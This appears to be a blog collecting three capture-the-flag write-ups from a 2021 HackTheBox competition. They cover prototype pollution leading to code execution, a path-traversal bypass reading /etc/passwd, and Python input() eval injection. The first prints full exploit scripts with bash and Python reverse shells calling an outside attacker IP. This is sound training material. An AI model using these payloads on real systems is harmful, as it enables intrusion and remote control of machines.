HTB Cyber Apocalypse CTF 2021 – BlitzProp Writeup

BlitzProp is a 1* rated challenge from the web category of the HTB CTF. To exploit this, you need to use a ‘prototype pollution’ vulnerability in order to gain RCE against the target. This was the first time I had exploited a target using a vulnerability such as this, so I learned a lot from this challenge!

To start off, a downloadable zip file is provided, containing the contents of the BlitzProp server and the related Docker infrastructure. The file which caught my interest initially was the routes/index.js file, which we can see below:

The routes/index.js file from the challenge
The routes/index.js file from the challenge

At a first glance, it looks like a pretty standard API based site, with the use of a number of node libraries. The song names seemed a little odd, though it is a cyber-space themed CTF, so I didn’t think too much into it initially. Looking at the package.json file revealed the versions of the packages in use by node.

package.json showing details on vulnerable packages
package.json showing details on vulnerable packages

A good site I have found to lookup vulnerable packages is snyk.io. Looking up the packages above, we find a couple of vulnerabilities which look interesting:

PackageVulnerability
Express 4.17.1None
Flat 5.0.0Prototype Pollution
Pug 3.0.0Remote Code Execution
Vulnerabilities found from packages.json

The song names made me realise I was on the correct track – ‘Not polluting with the boys’ and ‘ASTa la vista baby’ both relate to prototype pollution! To try and exploit this, I attempted to modify the PoC included with the Flat 5.0.0 vulnerability. I modified the API call we were making from the website to attempt to pollute an object. The API call I went with was {"song.name":{'__proto__.includes': {return res.json({'test':'123'})}}}. This request then resulted in a JSON parsing error, indicating I was along the right lines.

After a lot of googling and searching for approchable tutorials on how to exploit this, I found a great blog at https://blog.p6.is/AST-Injection. One of the examples from this site includes an exploit for pug and so we now had a better PoC which should allow us to get an RCE with some modification. The target in this case is 178.x.x.x and our ‘attacker’ is on 52.x.x.x.

import requests

TARGET_URL = 'http://178.62.93.166:31190'

# make pollution
requests.post(TARGET_URL + '/api/submit', json = {
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/52.174.63.32/80 0>&1'`)"
    }
})

# execute
resp = requests.post(TARGET_URL + '/api/submit', json = { 
    "song.name" : "Not Polluting with the boys"
})

print(resp.text)

One of the interesting things about this attack, is that we have to submit two queries, one to pollute the prototype, and another to trigger the RCE. Executing this PoC proved that we were getting very close to a working exploit, as it returned a bash error, as shown below. This error was due to the target using /bin/ash, rather than /bin/bash.

Not wanting to get into a drawn-out battle with the various Linux shells, I decided to keep things simple and use a basic Python reverse shell which I have used a number of times during OSCP. By replacing the bash reverse shell used above with this, we end up with the updated exploit below.

import requests

TARGET_URL = 'http://178.62.93.166:31190'

# make pollution
requests.post(TARGET_URL + '/api/submit', json = {
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync(`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"52.174.63.32\",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/ash\",\"-i\"]);'`)"
    }
})

# execute
resp = requests.post(TARGET_URL + '/api/submit', json = { 
    "song.name" : "Not Polluting with the boys"
})

print(resp.text)

We now can execute this exploit, and get a reverse shell back on our attacker VM. From this we can easily find the flag (flagsF9iN) within the current directory. Revealing a flag of CHTB{p0llute_with_styl3}.

Overall, I really enjoyed BlitzProp and learned some new techniques! If you enjoyed this writeup, I have written up several other boxes at this link.

HTB CTF 2021 – MiniSTRyplace Writeup

MiniSTRyplace was a 1-star rated ‘Web’ challenge from the HackTheBox Cyber Apocalypse CTF. The solution was pretty simple, with a vulnerable str_replace function allowing for a simple path traversal exploit.

Initially, the files for the server were supplied as part of the challenge. From a quick initial search, the index.php file stood out as being interesting due to its logic for including various PHP files within the main webpage of the site.

The vulnerable function

Looking at the code, the server will include a file from within the pages/ directory, based on the lang parameter when passed as a GET request. Typically this would be via a request such as vulnerable_site.com/index.php?lang=en.php or similar. The function will then replace any occurrences of ../ with a blank string. From a brief glance, this appears to be alright, but if an attacker uses a a string such as ....//, PHP will remove the central ../ (i.e. ....// ), leaving a final string of ../, allowing for path traversal.

We can test this exploit by using a URL such as: vulnerable_site.com/?lang=qw.php….//….//….//….//….//….//etc/passwd, which returns the contents of the passwd file as shown below.

Contents of the passwd file returned by the server, indicating we have LFI capabilities
Contents of the passwd file returned by the server, indicating we have LFI capabilities

Looking at the Dockerfile, we know that the flag is copied to the root directory, so we can simply traverse up to the root folder, and then load the flag file. As shown below, this reveals a flag of CHTB{b4d_4li3n_pr0gr4m1ng} for MiniSTRyplace!

To learn more about this, HackTheBox have a really good Academy article which covers a range of methods for identifying and exploiting LFI vulnerabilities. These commonly come up in CTFs and OSCP boxes, so it is a good skill to get comfortable with!

If you enjoyed this writeup, I have written up several other boxes at this link.

HTB CTF 2021 – Input as a Service Writeup

Input as a Serivce (Iaas) 1-star rated challenge from the HackTheBox Cyber Apocalypse CTF. This challenge was from the ‘Misc’ section, in contrast to most of the others I attempted! This challenge revolved around a input function vulnerability in a Python web server, which could be exploited to achieve an RCE.

Some initial poking around the site made it clear this was likely to revolve around sending a crafted API or web request. To investigate this, I span up Burp Suite and starting proxying my traffic through Burp. A blank GET request to the server returned output which was recognisable as the output from a Python server, along with debug information.

Output from the web server

As we can see from the error on line 12, the server is using the input function, which has a known ‘vulnerability’ in it. This ‘vulnerability’ is that any value which is read by input will be evaluated by Python. To test this, I crafted a packet to try some simple string concatenation, to check if this was a viable path.

Our crafted request to test the vulnerability in the input function
Our crafted request to test the vulnerability in the input function

Which then responded with abc123, indicating that we are able to issue commands to the Python server. You can see this on line 7 in the response below.

Response showing we are able to run commands on the server
Response showing we are able to run commands on the server

The next logical step for this vulnerability was to try and extend it to OS command injection, rather than just executing Python scripts. To do this, we would need to use the os module within Python. This presented some issues, as it appeared the standard way (import os; os.system('whoami')) of using the os module was being blocked, I assumed this was most likely due to the spaces within the command being parsed by an HTTP library or similar.

I then found a great blog which covered a very similar CTF challenge, and they used a different method of importing the os module, which avoided the need for any characters which could cause issues. By using the syntax __import__('os').system('ls -la'), we are able to list the contents of the current directory, showing we have RCE on the server.

Response from the server showing we have RCE
Response from the server showing we have RCE

We can now see the flag.txt file, which we can easily view with cat flag.txt, to reveal a flag of CHTB{4li3n5_us3_pyth0n2.X?!}.

Getting the flag from the server
Getting the flag from the server

If you enjoyed this writeup, I have written up several other boxes at this link.